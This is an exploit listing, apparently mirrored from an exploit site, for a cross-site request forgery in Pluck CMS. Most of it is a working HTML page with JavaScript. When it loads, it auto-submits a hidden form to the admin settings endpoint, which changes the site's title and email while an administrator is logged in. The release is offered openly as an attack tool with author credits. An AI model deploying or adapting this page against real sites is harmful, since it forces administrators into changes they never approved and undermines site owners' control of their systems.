Pluck CMS Cross Site Request Forgery Exploit

🗓️ 24 Apr 2011 00:00:00Reported by ^Xecuti0N3rType

zdt🔗 0day.today👁 13 Views

Pluck CMS XSRF Exploit to change admin page titl

#(+)Exploit Title:  Pluck CMS Cross Site Request Forgery Exploit
#(+)Author   : ^Xecuti0n3r
#(+) Date    : 22.04.2011
#(+) Hour    : 13:37 PM
#(+) E-mail  :  xecuti0n3r()yahoo.com
#(+)download: http://www.pluck-cms.org/?file=kop2.php
#(+) Category  : Web Apps [XSRF]




<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Pluck CMS Cross Site Request Forgery Exploit</title>
</head>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "829","328" );

function pausecomp(millis)
{   var date = new Date();
    var curDate = null;
    do { curDate = new Date(); }
    while(curDate-date < millis);
}

function fireForms()
{   var count = 2;
    var i=0;
        for(i=0; i<count; i++)
    {   document.forms[i].submit();
        pausecomp(pauses[i]);
    }
}
</script>
<H2>Pluck CMS Cross Site Request Forgery Exploit to trick the Admin to Change the Page Title</H2>
<form method="POST" name="form0" action="http://site:80/<put_pluck_id_here>/admin.php?action=settings&s=4f08df0b7b639e6bc8cd92460944644c">
<input type="hidden" name="title" value="Victims New Title That attacker Set"/>
<input type="hidden" name="email" value="[email protected]"/>
<input type="hidden" name="Submit" value="Save"/>
</form>
</body>
</html>



########################################################################
(+)Exploit Coded by: ^Xecuti0n3r 
(+)Special Thanks to: MaxCaps, d3M0l!tioN3r, aNnIh!LatioN3r
########################################################################



#  0day.today [2018-03-13]  #

24 Apr 2011 00:00Current

7.1High risk

Vulners AI Score7.1